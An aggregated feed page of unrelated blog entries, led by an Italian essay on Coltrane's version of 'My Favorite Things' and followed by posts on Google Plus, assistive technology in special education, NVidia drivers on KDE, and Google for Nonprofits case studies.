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          Su "My Favorite Things" di John Coltrane        
Il 16 novembre 1959 debuttava a Broadway The Sound of Music, di Richard Rodgers e Oscar Hammerstein, uno dei musical più popolari di tutti i tempi anche grazie alla versione cinematografica che ne fu tratta nel 1965 (regia di Robert Wise, protagonista Julie Andrews, la versione italiana porta il titolo Tutti insieme appassionatamente).

Una particolare canzone tratta da questo musical ha avuto fortuna immensa. Di My Favorite Things, infatti, si contano centinaia di cover; l'elenco preparato dai redattori di Radio Rai è lungo sedici pagine.

Qui mi occuperò della versione forse più celebre, quella incisa in studio da John Coltrane il 21 ottobre 1960. Per capire quest'ultima, però, è opportuno partire dalla versione originale di Richard Rodgers. In questo articolo mi avvarrò dell'analisi condotta dal massimo studioso di Coltrane, il musicologo Lewis Porter, nella sua fondamentale monografia (Blue Train. La vita e la musica di John Coltrane, traduzione di Adelaide Cioni, Minimum Fax, Roma 2006, pp. 277-80).

La canzone è musicalmente molto semplice. Si tratta di un valzer in mi minore di quattro strofe, A-A-A'-B. Le prime tre strofe hanno la stessa musica, salvo che nella terza strofa, A', dove ci sono otto battute in maggiore. La quarta strofa, B, usa una diversa melodia e finisce in sol maggiore.

Qui di seguito copio il testo della canzone, di Oscar Hammerstein, cui faccio seguire una traduzione, volutamente molto pedestre, che ho preparato grazie all'ausilio del traduttore automatico di Google:



(A) "Raindrops on roses and whiskers on kittens
Bright copper kettles and warm woolen mittens
Brown paper packages tied up with strings
These are a few of my favorite things

(A) Cream colored ponies and crisp apple streudels
Doorbells and sleigh bells and schnitzel with noodles
Wild geese that fly with the moon on their wings
These are a few of my favorite things

(A') Girls in white dresses with blue satin sashes
Snowflakes that stay on my nose and eyelashes
Silver white winters that melt into springs
These are a few of my favorite things

(B) When the dog bites
When the bee stings
When I'm feeling sad
I simply remember my favorite things
And then I don't feel so bad!"

"Gocce di pioggia su rose e baffi di gattini
Bollitori di rame luminosi e caldi guanti di lana
Pacchetti di carta marrone legati con corde
Queste sono alcune delle mie cose preferite

Pony color crema e croccanti struedel di mele
Campanelli e campanelli da slitta e schnitzel con tagliatelle
Le oche selvatiche che volano con la luna sulle ali
Queste sono alcune delle mie cose preferite

Ragazze in abiti bianchi con sciarpe di raso blu
Fiocchi di neve che rimangono sul mio naso e sulle ciglia
Inverni bianchi d'argento che si sciolgono in primavere
Queste sono alcune delle mie cose preferite

Quando il cane morde
Quando l'ape punge
Quando mi sento triste
Non ho che da ricordarmi delle mie cose preferite
E allora non mi sento così male!"

The Sound of Music è ambientato a Salisburgo, fra le due guerre. Richard Rodgers ha naturalmente cercato di tener conto della tradizione musicale austriaca: My Favorite Things, come detto, è un valzer; negli altri brani si sentono riferimenti allo jodler, al laendler, al canto gregoriano, ecc. In un numero c'è anche un singolare omaggio ad Haydn: la canzone So long, farewell è eseguita da un coro di bambini che, uno alla volta, abbandonano il proscenio, finché a cantare rimane una sola bambina, così come, nel finale della Sinfonia degli addii, tutti gli esecutori smettono uno alla volta di suonare facendo concludere la sinfonia da un solo violinista.

Come ci si potrebbe aspettare, il testo di My Favorite Things fa uso di un immaginario prettamente alpino, o comunque nordeuropeo: bollitori per il té, guanti di lana, slitte che corrono sulla neve... Se di questa canzone volessimo realizzare un video-clip animato, seguendo pedissequamente il testo, dovremmo adoperare in prevalenza le tinte chiare, e in particolare il colore bianco, la cui presenza, in corrispondenza della terza strofa (quella con le otto battute in maggiore), diventa quasi ossessiva: abiti bianchi, fiocchi di neve, inverni bianchi... (Nella versione cinematografica quest'aspetto "eurocentrico" della canzone è ancora più sottolineato dal forte accento british di Julie Andrews).

Molti si sono chiesti cosa potesse avere indotto un artista come John Coltrane, che da lì a poco sarebbe diventato un'icona della cultura afro-americana, a musicare una sua versione di questo brano, il quale inizialmente c'entrava così poco con il jazz.

Secondo Lewis Porter, è un errore "dare per scontato che Coltrane trovasse la canzone sciocca e che per questo volesse abbellirla". Al contrario, Coltrane ammirava sinceramente questa canzone e, nella sua versione, la trattò "con rispetto". Il "messaggio" della canzone, "che le cose buone ci aiutano a superare le cattive", è secondo Porter "del tutto sensato e prezioso - per nulla sciocco - è solo che utilizza esempi alla portata di un bambino, perché nel copione la canzone si rivolge a dei bambini".

Qui però l'ottimo Porter ha preso una cantonata. Nel film, è vero, Julie Andrews canta la canzone a dei bambini. Il film, però, è del 1965, quindi è posteriore all'incisione di John Coltrane, che a quell'epoca poteva conoscere solo la versione teatrale di questo musical; e, nella versione teatrale, la protagonista canta My Favorite Things in una delle scene iniziali, che si svolgono in un convento di suore, e non la canta ai bambini, bensì alla Madre Badessa del convento.

Sembra, in realtà, che Coltrane non fosse attratto tanto dal "messaggio" della canzone, quanto invece dalla sua manipolabilità sul piano strettamente musicale. Ecco come si espresse Coltrane in un'intervista: "Questo valzer è fantastico: se lo suoni lento, senti un elemento di gospel che non è per niente sgradevole; se lo suoni veloce, possiede altre innegabili qualità. E' molto interessante scoprire un terreno che si rinnova a seconda dell'impulso che gli dai".

Quindi, si direbbe che il valzer di Rodgers fosse per Coltrane quello che il valzer di Diabelli era stato per il Beethoven dell'op. 120: poco più che un pretesto, un canovaccio utile per imbastire una serie potenzialmente infinita di variazioni che poco o nulla hanno a che fare con il tema originale. E, in verità, Coltrane eseguì in concerto My Favorite Things moltissime volte (secondo Wikipedia, sono state documentate su nastro non meno di 45 esecuzioni), creandone versioni sempre più lontane dalla canzone originale, fino a renderla irriconoscibile.

La versione sull'album si compone di un'introduzione di quattro battute, suonata due volte; viene poi esposto un vamp (breve inciso ritmico, costantemente ripetuto, che è per il jazz quello che nel rock si chiama riff e nella musica barocca si chiama ostinato), cui fanno seguito un primo assolo di Coltrane, un altro assolo di McCoy Tyner al pianoforte, e un assolo finale ancora di Coltrane, per complessivi 14 minuti circa. Nel primo assolo Coltrane esegue le prime due strofe (A) in minore, poi c'è un interludio in maggiore, poi altre due strofe (A) in minore. Gli altri due assoli seguono lo stesso schema, salvo che per la parte finale dell'assolo conclusivo di Coltrane, di cui dirò fra poco.



La prima cosa che si nota all'ascolto è che Coltrane ha spostato molto lontano dall'Europa il baricentro etnico del brano. La ripetizione ossessiva, ipnotica, di un inciso ritmico in tempo dispari; la voce acuta dello strumento a fiato (un sax soprano, fino ad allora poco usato nel jazz); il clima di fissità tonale e il senso del tempo molto dilatato, sono tutti elementi che richiamano la musica orientale. (A me il brano fa venire in mente una danza sufi). Porter nota che Coltrane era appassionato di musica indiana, era un ammiratore di Ravi Shankar, ed era profondamente interessato alla musica folk e modale di tutto il mondo, nonché alle scale pentatoniche (pare che certe volte, nelle sue esercitazioni, eseguisse col sassofono determinate sequenze del Concerto per orchestra di Béla Bartók). Sempre secondo Porter, in My Favorite Things si possono anche scorgere influenze musicali provenienti dall'Africa occidentale.

La cosa per me più sorprendente è che, nella musica originale di questa canzone, Coltrane abbia sentito un "elemento gospel". Per quanto ascolto e riascolto la canzone di Rodgers e Hammerstein, devo confessare che questo elemento gospel non riesco assolutamente a percepirlo. Ma è significativo che, per Coltrane, la canzone avesse qualcosa a che fare con le radici stesse della musica nera americana. Questo forse ci aiuta a far luce su un'altra singolarità della versione di Coltrane.

Abbiamo detto che la versione coltraniana di My Favorite Things è basata sulla strofa A della musica originale. Che fine ha fatto la strofa B, quella il cui testo contiene, secondo Porter, il "messaggio" della canzone e che si conclude in modo maggiore?

Alla fine del suo assolo conclusivo, Coltrane esegue anche la strofa B, senza apportare particolari variazioni alla musica. Però la esegue in mi minore, dandole, secondo Porter, "un effetto più pensoso, riflessivo".

Il testo originale della strofa B fa riferimento ad api che pungono e a cani che mordono, per delineare scherzosamente una situazione da "giornata storta", in cui le cose, chissà perché, non vanno per il verso giusto. Ma questa situazione si supera (dice la canzone) richiamando alla mente le piccole cose belle della vita. Se si fa in questo modo, l'atteggiamento cambia e ci si accorge che non si sta poi così male. La canzone si chiude così, trionfalmente, in sol maggiore.

Qui, però, è meglio fare ricorso alla bella traduzione ritmica di Antonio Amurri (quella utilizzata nella versione italiana del film), che ha colto al meglio il senso di questa strofa:



"Se son triste, infelice, e non so il perché,
io penso alle cose che amo di più
e torna il seren per me!"

Immaginiamo ora di sentire queste parole sovrapposte al mi minore del sax di John Coltrane, nelle battute finali del suo secondo assolo (a partire dal minuto 12'33''). L'effetto è di un'ironia indefinibile, profonda, pungente, tristemente consapevole. Uno speciale tipo di sarcasmo, composto e controllatissimo, ma inequivocabile.

Per me (e sottolineo: per me) in questo minuto e dodici secondi di musica c'è l'essenza stessa del jazz. Ogni volta che l'ascolto, mi commuovo.

Provo a spiegarmi meglio.

Il cantante e chitarrista Huddie W. Leadbetter (1885-1949), uno fra i musicisti più influenti della musica nera americana del secolo ventesimo, tentò una volta di definire a parole quel particolare complesso psicologico che porta il nome di blues. Possiamo leggere le sue parole come una specie di negativo fotografico della canzone di Rodgers e Hammerstein:

"Quando la notte sei sdraiato nel letto, e ti giri da una parte e dall'altra senza riuscire a prendere sonno, non c'è niente da fare. I blues si sono impadroniti di te... Quando ti svegli al mattino, ti siedi sulla sponda del letto, e puoi avere vicino a te padre e madre, sorella e fratello, il tuo ragazzo o la tua ragazza, ma non hai voglia di parlargli... Non ti hanno fatto niente, e tu non hai fatto niente a loro, ma che cosa importa? I blues si sono impadroniti di te".

Così commenta Arrigo Polillo nel suo classico Jazz. La vicenda e i protagonisti della musica afro-americana (Mondadori, Milano 2009, p. 43): "Avere i blues è qualcosa di diverso dall'essere triste dell'uomo bianco. E' essere afflitti da un tedio esistenziale, da una malinconia greve che non lascia spazio alle fantasticherie, vuol dire autocommiserazione, rassegnazione, vuol dire disperazione sorda, grigiore, miseria. E' una poesia fondata sulle cose di tutti i giorni, su personaggi familiari, visti in una luce realistica, con occhio disincantato. Non c'è, né ci vuol essere, nel blues, trasfigurazione lirica, che è un lusso da bianchi; non c'è dramma, perché il dramma è fatto di ombre ma anche di luci. C'è invece la consapevolezza di una tragedia in atto, che non finirà mai. Il blues singer non canta la vita, ma il non morire, parla sempre di ciò che non ha e che non avrà mai".

Ecco il senso del mi minore con cui si conclude My Favorite Things di John Coltrane. Non c'è consolazione, e non c'è neanche protesta. E' la constatazione oggettiva di una situazione fondamentalmente tragica. Il "messaggio" della canzone di Rodgers e Hammerstein è sovvertito. Vista in questa luce, non solo la canzone, ma la stessa cultura (musicale e non solo) cui essa fa riferimento, viene radicalmente messa in questione.
          Links der Woche, 24. Juli 2011        
RAMP: Easy Content Deployment for WordPress | alexking.org Google+ is the social backbone – O’Reilly Radar Einen besseren Hintergrundartikel zu G+ habe ich noch nicht gelesen. Weblogs als Fels in der Brandung der Social Networks | WordPress & Webwork Warum es wichtig ist, selbst die Kontrolle zu behalten.
          Die Sache mit den Realnamen in sozialen Netzen        
Auf Google Plus und anderswo toben Diskussionen darüber, dass Google derzeit Profile sperrt, die nicht mit Klarnamen bezeichnet sind. Pseudonyme sind gemäß den Inhaltsrichtlinien nicht gerne gesehen. Google wünscht sich, dass Nutzer mit ihren echten Namen auftreten. Hierdurch fühlen sich manche Nutzer offenbar in ihrem Recht auf informationelle Selbstbestimmung eingeschränkt. Manchmal sind es Leute, die ... weiterlesen
          Links der Woche, 10. Juli 2011        
Usaura – Free, instant click tests (und Heatmaps gibt’s obendrein) (danke Sascha A. Carlin) Das rechtliche Risiko bei Googles +1 Button inkl. Muster für die Datenschutzerklärung | SCHWENKE & DRAMBURG Rechtsanwälte Berlin Post by Matt Cutts Wer spottet da noch über Katzencontent, wenn sogar Matt Cutts welchen postet?
          Facebook in Google Plus (Update)        
Witzig. Zumindest witzig ist es ja. Eine Extension für IE, Firefox und Chrome sorgt dafür, dass der Facebook-Newsstream innerhalb von Google Plus in Form eines weiteren Tab dargestellt wird. Nach der Installation fragt die Extension kurz ein paar Rechte für Facebook ab und packt dann ein Facebook-Symbol links neben die Google+ Tabs (Übersicht, Profil, Circles ... weiterlesen
          Google Takeout: Open Shop vs. Closed Shop        
Während Facebook alles dafür tut, damit seine User die Daten, die eigentlich ihnen gehören, nicht von der Plattform weg-exportieren können, gibt sich Google deutlich offener und erlaubt das Herunterladen aller persönlicher, in Google gespeicherter Daten aus Buzz, Kontakten und Circles, Picasa, dem Google-Profil und den Streams in Google Plus. Der Export-Vorgang ist durch mehrfache Passwort-Abfragen gesichert. ... weiterlesen
          Links der Woche, 3. Juli 2011        
Und hier der dieswöchentliche Rückblick: Erste Gehversuche mit Google Plus Mein Artikel hier auf diesem Blog über die ersten Eindrücke von Google Plus während der Beta-Phase. Hope to see support for Google+ !! Way to go, Yoono … great attitude, great answer … NOT. Yoono outet sich hier als eine nicht gerade zukunftsorientierte Plattform. Schade ... weiterlesen
          Erste Gehversuche mit Google Plus        
Da ist er also, der mutmaßliche Facebook-Killer: Google Plus. Noch in geschlossener Beta. Ich bin drin, dank eines aufmerksamen Bekannten und der Tatsache, dass eine Zeitlang eine Möglichkeit existierte, Personen auf undokumentiertem Weg hinzuzufügen. (Das scheint derzeit leider nicht mehr zu funktionieren.) Mit diesem Großangriff auf den 800-Pfund-Gorilla Facebook hat sich Google einiges vorgenommen. Stellt ... weiterlesen
          Injustice: Gods Among Us Bursts Its Way onto Android        
One of the biggest console titles to come out this year, Injustice: Gods Among Us, has finally hit the Google Play store after enjoying a ton of success as a free to play title on the iOS App Store. Much like its Apple equivalent, the Android version of Injustice features a collectable card mechanic as […]
          Chrome - Google Tone        


I continue to be impressed by the options for access that are being developed for the Chrome Web Browser.  Google just released an experiment called Google Tone.  The concept is that it will play a short tone that other computers can hear, and they will open the URL you shared.  The extension must be installed on all the computers nearby (wish it worked on mobile devices!) and have access to the microphone.  Just click the link in the toolbar and it sends out the "tone".  You can install the extension here - g.co/tone and it works in Chrome for Mac, Windows and all Chromebook devices.  Happy Sharing!



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          Wandoo Planet        


It took me quite a while to get through my backlog of podcasts, so I just listened to a great episode from Chris Bugaj of the A.T.Tipscast.  Episode 132 featured an interview with a former educator spreading the word about Wandoo Planet.  Wandoo Planet is a recommendation engine for children, think Pandora or Netflix.  Basically, kids pick some of their favorite interests, via a fun game, and the website suggests books and/or movies for them to check out.  The goal is to help students find books in their interest and get them reading more, which as we all know, is one of the best ways to increase students ability to read!

I took a few minutes and tried it out myself, and have to say it's fun.  The game is a great way to get children thinking about their interests.  Some students may need to have the interests read to them, and a suggestion to make it more accessible might be to include pictures or text to speech for the interests.  It looks like a fun way to engage students and get them reading!



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          Powtoon - Free Accounts for Teachers!        


Powtoon is a fun platform for creating animations.  I've personally used it to create the trailer for the EdCeptional Show.  So far that's all I've done, but I can see it would be a fun way to engage students and excite them about a topic or lesson.  So, that's why I claimed my FREE Powtoons account!

Powtoons is giving away over $5 million of teacher and student accounts before October 2014.  All of these accounts will be valid for 1 year, and include 1 teacher account with 60 student accounts!  You can get yours now at Powtoons ToonUp.



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          AAC/Medicare Changes        

I was hoping to have written this post last week, so that you might have more time to help out, but life got in the way!  This is a VERY important post, especially to those of you who rely on Medicare to secure AAC devices.  Specifically this is related to patients with ALS, Cerebral Palsy, Muscular Dystrophy, Rett Syndrome,spinal cord injuries, spinal muscular atrophy and other impairments and their ability to retain and receive Speech Generation Devices (SGD).

As of September 1, Medicare will be changing the rules and will not allow patients to receive this devices to "unlock" them.  Thereby, denying individuals the ability to communicate with their families and other individuals via email, text, video chat, etc...  Even though the unlock fee is not paid by Medicare, they will no longer allow individuals to purchase devices that this could be done on.

Medicare has also been denying Eye Gaze devices for those individuals whose only means of access if via an eye gaze system.  Many of these cases have 2 medical professionals certifying the need for an eye gaze system and it is still denied. The backlog of appeals is years long and many patients are being denied the ability to communicate.

Please take a moment and go to this website - Center for Medical Advocacy, fill in your zip code, and the short form that follows to contact your representatives and urge them to sign a petition to stop these rule changes!  It takes just 2-3 minutes.  You only have until August 27, so please do it right away!



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          Chrome - QR-Code Extension        
I a big fan of the Google Chrome Browser, there are a ton of amazing extensions and apps that you can use with students.  I've blogged about quite a few of them - Read & Write for Google Docs, Kaizena,  and on EdCeptional #42.  Here's a new one that just for creating and reading QR Codes.

The QR Code Extension is designed to allow you to quickly create QR codes for downloading and sharing.  Once you are on a page, just click the icon in your extension bar (to the right of the address bar) and it will show you the QR Code.  Click "Edit This QR Code" to find options for downloading and sharing.

The other option is not one I've seen in an extension.  Click the "Scan a QR Code" and it allows you to use your webcam to decode a QR Code.  So if you've ever been sitting and wanted to use a code, this is the extension for you!!  It's a great option for students, I've always advocated for using QR Codes for long URL's and this would help do that without a special program.  Just print out QR Codes for your students and let them scan using the extension.

You can try out The QR Code Extension here!



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          QR Codes for Vocabulary        


Matt Bergman, at Learn, Lead, Grow, shared a great post on ways to use QR Codes to teach and retain vocabulary.  I love the ideas of engaging students with technology to teach this skill.  Check out all his ideas at his blog:

3 Ways to Use QR Codes to Make Word Walls Assessable to ALL Students #UDL



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          Google Classroom for SPED        

Google Classroom is a new offering for districts who use Google Apps for Education (GAFE).  Classroom is a combination of Edmodo and Doctupus; part social network and part document manager.  Once Classroom is enabled you are able to create classes and invite your students to join.  Google creates a folder in your Drive, a place for you to upload and/or create documents to share with those students.  From the main Classroom page you have options for posting Announcements or create assignments.  Assignments can be linked to a Drive Document, Youtube video, weblink or you can attach a file.  Students can then complete the work and turn it in via Classroom.  When using Google Docs you have the option to allow students to view the document, edit one document or it will create a separate document for each student.

For self-contained teachers this immediately solves issues with distributing and collecting Google Doc files.  It's also a place for students to communicate questions with their classmates or you.  While the interface is limited and the themes are pretty basic, I think the potential for this product is astounding.

From my new perspective of a push-in support teacher, I see this as a way to push out modified assignments to students.  Part of our new reading curriculum involves discussion guides and we, as a special education team, are considering modifying them so they are Google Docs.  This would give me a way to push out specific docs, to specific students easily.  I also think giving students a place they can post questions might be useful, especially students who may not want to speak up in class.  I can see it as a way for those students to contact me when we are not together in class.

I'm going to continue to give it a try, and see if there are other ways it can be utilized.  I'd love to hear some of your thoughts on using Google Classroom.  This week Google opened it all users with GAFE account, but there is one caveat.  You and your students must be on the same domain.  This is actually a problem in my district, my email ends in "d57.org" and our students are "students.d57.org" so I cannot create a Classroom unless I have a different login.  This is frustrating, but Google is aware and hopefully they will fix it in the near future.



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          Embrace the Shake        



It's been almost 5 months since I've actually sat down and written for this blog.  It's also been over 6 years since I put down my first post.  Over the past 6 years I've shared a lot of information, but it's also been a place for me to reflect.  Something I've missed the past year.  It's interesting, the reason I'm writing this post is because of a video I watched recently.  I'm a fan of TEDTalks and a colleague shared this one with me:

Phil Hansen:  Embrace the Shake

Within the first 2 minutes, I realized that this talk made sense to me.  I had difficulties in my new position and I gave up this blog.  I gave up something that has connected me to so many others and so many experiences.  I'm hoping that this year I can, as Phil says, embrace the shake.  I am starting another new position.  I'll continue in my role in Assistive Technology, but now I'll be (for the first time ever) in a resource special education position.  I've never done anything but self-contained, and while this was something I never thought I would do, I'm looking forward to it.  Whether it's the challenge or just the change I am going in with a lot of new ideas.

I don't know exactly how this will change this blog, but I do know that I am going to keep posting my ideas.  I'll be sharing my thoughts and hopefully getting some feedback!  Take a few minutes and watch Phil, maybe it will inspire you to embrace the shake



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          KDE and NVidia (updated)        

KDE Project:

The above combination was never a painless experience, still at some point in past it seemed to be better to have a NVidia card on Linux then anything else, so I continued to buy them whenever my system was upgraded. Lately although it started to make me rather bad. I have two computers, one that is a 4 core Intel CPU with 8GB of memory, the other is a Core2Duo with 3GB. The latter is a Lenovo laptop. Both have NVidia, nothing high end (Qudaro NVS something and 9300GE, both used with dual monitor setup), but they should be more than enough for desktop usage. Are they?
Well, something goes wrong there. Is that KDE, is that XOrg, is that the driver? I suspect the latter. From time to time (read: often), I ended up with 100% CPU usage for XOrg. Even though I had 3 cores doing nothing the desktop was unusable. Slow scroll, scroll mouse movements, things typed appearing with a delay, things like that. Like I'd have an XT. I tried several driver version, as I didn't always have this issues, but with newer kernel you cannot go back to (too) old drivers. I googled, and found others having similar experience, with no real solution. A suspicion is font rendering for some (non-aliased) fonts, eg. Monospace. Switching fonts sometimes seemed to make a difference, but in the end, the bug returned. Others said GTK apps under Qt cause the problem, and indeed closing Firefox sometimes helped. But it wasn't a solution. Or there was a suggestion to turn the "UseEvents" option on. This really seemed to help, but broke suspend to disk. :( Turning off the second display and turning on again seemed to help...for a while. Turning off the composite manager did not change the situation.
Finally I tried the latest driver that appeared not so long ago, 256.44. And although the CPU usage of XOrg is still visible, with pikes going up to 20-40%, I gain back the control over the desktop. Am I happy with it? Well, not....
As this was only my desktop computer. I quickly updated the driver on the laptop as well, and went on the road. Just to see 100% CPU usage there. :( Did all the tricks again, but nothing helped. Until I had the crazy idea to change my widget theme from the default Oxygen to Plastique. And hurray, the problem went away! It is not perfect, with dual monitor enabled sometimes maximizing a konsole window takes seconds, but still in general the desktop is now usable. And of course this should also make me have more uptime on battery.
Do I blame Oxygen? No, not directly. Although might make sense to investigate what causes there the NVidia driver going crazy and report to NVidia.

So in case you have similar problems, try to switch to 256.44 and if it doesn't help chose a different widget style.

Now, don't say me to use nouveau or nv. Nouveau gave me graphic artifacts and it (or KDE?) didn't remember the dual card setup. Nv failed the suspend to disk test with my machine and doesn't provide 3D acceleration needed eg. for Google Earth.

UPDATE: I upgraded my laptop to 4.5.1 (from openSUSE packages).Well, this broke composition completely, I got only black windows. I saw a new driver is available (256.53), let's try it. So far, so good, even with Oxygen. Let's see on the long run how it behaves, I didn't test it in deep.


          Chrome: good and bad news        

KDE Project:

Maybe you already know, maybe you don't: Google created its own browser, called Chrome. The good is that it is based on WebKit, thus contains KDE technology. That's is another recognition for the work of KDE developers. The bad is that they mention Apple's WebKit and nothing about KDE/khtml. Sad. :(
See http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html .


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บันทึกหน้าจอพนักงานและ upload ขึ้น Google Photo เพื่อเก็บภาพหน้าจอการทำงานของพนักงานแต่ละคนขึ้น Cloud แบบเก็บเอาไว้ตลอดชีวิตไม่มีวันหายไปไหน เรามาดูกันหน่อยว่า ถ้าหากว่าพนักงานรู้ว่า คุณเก็บภาพหน้าจอเอาไว้แบบนี้ จะเป็นอย่างไร คุณจะได้ประสิทธิภาพในการทำงานกลับคืนมามากน้อยแค่ไหนกัน คุณจะรู้ได้แค่คุณลองเอาวิธีการนี้ไปทำดูด้วยตัวคุณเอง
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Automation งวดปีนี้จะไม่เหมือนเดิม เมื่อเทียบกับรอบแรกเมื่อ 50 ปีที่แล้วที่เป็นยุคปฏิวัติอุตสาหกรรม ผมมีโอกาสได้ศึกษาและเรียนรู้เกี่ยวกับ การใช้งานเครื่องจักร เพื่อทำให้การทำงานมีประสิทธิภาพ และการออกแบบระบบ หรือวิธีการเพื่อทำให้คนงาน (ที่เป็นคน) ทำงานร่วมกับเครื่องจักรได้อย่างมีประสิทธิภาพ เพื่อให้ผลิตภาพที่ดีในโรงงานอุตสาหกรรม ทั้งนี้เรื่องที่เคยเรียนรู้มาทั้งหมด มีการเปลี่ยนแปลงไปมากเนื่องจากเทคโนโลยีด้านคอมพิวเตอร์และการสื่อสารที่ทำให้เกิดขึ้นมูลที่สื่อสารกันได้ระหว่างเครื่องจักร และการเชื่อมต่อของข้อมูลผ่านอินเตอร์เน็ตที่เข้าถึงได้อย่างดาษดื่นในโลกปัจจุบัน แต่แล้ววันนี้ ก็มีการเปลี่ยนแปลงครั้งใหญ่อีกครั้งหนึ่ง คือ พวก Google Amazon หรือ Apple เองก็กำลังจะเข้าถึงการเปลี่ยนถ่ายเทคโนโลยีการออกแบบโปรแกรมเพื่อให้ตรรกะทำงาน ด้วยรูปแบบการกำหนดเงื่อนไขเอาไว้ก่อนล่วงหน้า มาเป็นทำการให้ตรรกะเหล่านั้นมีการเปลี่ยนแปลงได้เอง และ เรียนรู้ที่จะเปลี่ยนแปลงได้เองโดยการฝึกจากข้อมูลตัวอย่าง หรือวิธีการทำงานตัวอย่าง ซึ่งใช้คำกันอยู่ในตอนนี้คือ Machine Learning...
          Green Iowa 5K Run        

This is a fun 5K Run/Walk with proceeds benefiting the efforts of Green Iowa AmeriCorps, a local non-profit that provides free home energy audits and weatherizations to populations in need.

5K Course: Follows the UNI South Campus Trails, Start and Finish at the CEEE Arch

Entry Fee: $15 Donation -participants will receive a reusable water bottle, access to the runners station and a running bib.

Awards: Prizes will be awarded for the Greenest Outfit (Be Creative), as well as the Top Finisher in the four categories, 35+ Male/Female and Under 35 Male/Female.

Location: 
UNI South Campus Trials
Saturday, August 24, 2013 - 4:00 am
Enter Your Email: 
Name: 
Julia Ostapiej
Phone: 
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          Around the Globe - Fundación Todo Mejora supports LGBT youth        

Todo Mejora means “it gets better”—and it’s this message that the Chile-based nonprofit has worked tirelessly to advocate for. In the wake of continual LGBT discrimination around the world, Fundación Todo Mejora strives to support the LGBT adolescents who face discrimination, including those considering committing suicide. Chile has one of the highest levels of suicide and school violence in Latin America. It’s projected that if nothing is done, in four years, one adolescent in Chile will end his or her life  nearly each day—an astounding metric that Fundación Todo Mejora hopes to change.1,2

Continuing  with our series about impactful organizations using Google for Nonprofits tools, this week we’re highlighting how Fundación Todo Mejora uses technology to spread its message and creates a safe space for these teenagers to find refuge in times of need.

Showing up when searching for help—Google Ad Grants

By implementing a strategic campaign using Google Ad Grants, the nonprofit targeted Google searches common to suicidal thoughts such as “I want to commit suicide”, “Who should I call if I want to kill myself?”, or “Help me, I want to die”. When a local person searches this on Google, Fundación Todo Mejora’s ads show up to intervene with supportive messages, and provide links to resources to find help. One 19-year-old girl who found support from these ads said, "Amidst my depression, I Googled how to commit suicide. Your foundation, ’Todo Mejora,’ popped up in my search results. It made me smile and reminded me the reason to go on.”

These ads have allowed Fundación Todo Mejora to save lives and navigate people to their website where they can find resources and support. As a result, website traffic increased by 20% in one year alone, which means the organization found a way to reach more people in need. This increase also prompted Fundación Todo Mejora to expand their suicide hotline support to 30 hours/week up from 7 hours/week.

Spreading the word—YouTube

To further increase visibility, Fundación Todo Mejora created a YouTube channel where adolescents share their personal stories, which have helped create a community of support, coupled with the call-to-action overlays inspiring others to follow suit, take initiative, and send donations. In their most popular video, with over 62,000 views, Demi Lovato speaks out against homophobic and transgender bullying and encourages victims to reach out for help.

TODO MEJORA - Demi Lovato, cantante

Storage & syncing—G Suite

Fundación Todo Mejora now uses G Suite exclusively for all its day-to-day operations, relying on Gmail, Google Drive, and Google Calendar to work productively. The unlimited user accounts and 30GB of storage per user has saved them time and money that once went towards paying for other storage products. Now, they can save important data in a shared and collaborative space which has helped them streamline their processes, preserve historical documents, and improve communication.

With more time, funding, and organizational processes, Fundación Todo Mejora can focus on expanding their support for youth in need and the LGBT community. Read more about their story on our Community Stories page on our Google for Nonprofits site.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received products as part of the Google for Nonprofits program, which offers products at no charge to qualified nonprofits.

1 OECD (2016). Low Performing Students: Why They Fall Behind and How To Help Them Succeed. PISA. OECD Publishing. Paris

2.Ministerio de Salud de Chile (2013). Situación Actual del Suicidio Adolescente en Chile, con perspectiva de Género [Current Situation of Adolescent Suicide in Chile, with a gender perspective]. Programa Nacional de Salud Integral de Adolescentes y Jóvenes. Chile.


          G4NP Around the Globe - Zooming in on Action Against Hunger        

Every dollar and minute count to further your cause and focus on your mission. We’re pleased to highlight nonprofits who were able to make greater impact with fewer resources by using Google tools—from G Suite to Google Ad Grants–made available through Google for Nonprofits (G4NP) at no charge.

Varying in size, scope, and timezones, these nonprofits from around the world share one thing in common: utilizing the G4NP suite of tools to help their specific needs. G4NP offers nonprofit organizations across 50 countries access to Google tools like Gmail, Google Calendar, Google Ad Grants and more at no cost. This week, we’ll take a look at how the nonprofit Action Against Hunger utilizes these tools to increase productivity, visibility, and donations,  in order to improve lives in  the communities they serve.

Action Against Hunger

In 2016 alone, Action Against Hunger provided nourishment to over 1.5 million starving children(1). In order to save lives with nutritional programs, Action Against Hunger looked to Google for aid—not for food, but for technology. Action Against Hunger now utilizes five Google technologies that have drastically improved their ability to save lives around the globe.

Raising Awareness with Google Ad Grants & Analytics

For major international emergencies, like the Ebola outbreak or the South Sudan famine, Action Against Hunger needs a way to inform people and recommend ways to get involved. With Ad Grants, the nonprofit activates targeted keywords relating to the crises to drive people to their page and empower them to take action. Google Analytics then allows them to track their effectiveness and adjust accordingly to increase engagement and improve their fundraising techniques. With this data-driven strategy and the tools’ ability to optimize campaigns, Action Against Hunger has nearly doubled funding year-over-year. In fact, Ad Grants brought 158,000 people to their website in the past year alone, raising $66,000 which is equal to treating 1,466 hungry children.

Ad Grants brought 158,000 people to their website in the past year alone, raising $66,000 which is equal to treating 1,466 hungry children.

Increasing Productivity with G Suite

When working with a global network and managing hundreds of programs abroad, collaboration and communication are key. After experiencing unnecessary latencies in their operations, Action Against Hunger has since adopted G Suite which streamlined their workflow. The nonprofit is especially fond of Gmail, Hangouts, and Drive where Action Against Hunger employees can message each other quickly, share files securely, and collaborate on Docs in real-time—avoiding duplication of efforts and saving time.

Fundraising with One Today & YouTube

To drive donations and expand awareness to broad audiences, Action Against Hunger uses One Today, a Google app that allows users to easily donate $1 or more towards causes they care about. Campaigning on One Today on World Food Day in 2016,  Action Against Hunger raised more than $1,200 in support of their cause with each dollar going directly helping those in need. Additionally, Action Against Hunger creates and shares content on YouTube to reach their global audience, and is  beginning to use the YouTube donation cards to further increase donations. The large exposure and website referrals from both YouTube and Google+ helped Action Against Hunger raise over $20,000.

Using Google products Action Against Hunger gained extra time and energy to focus on what really matters: feeding the hungry.

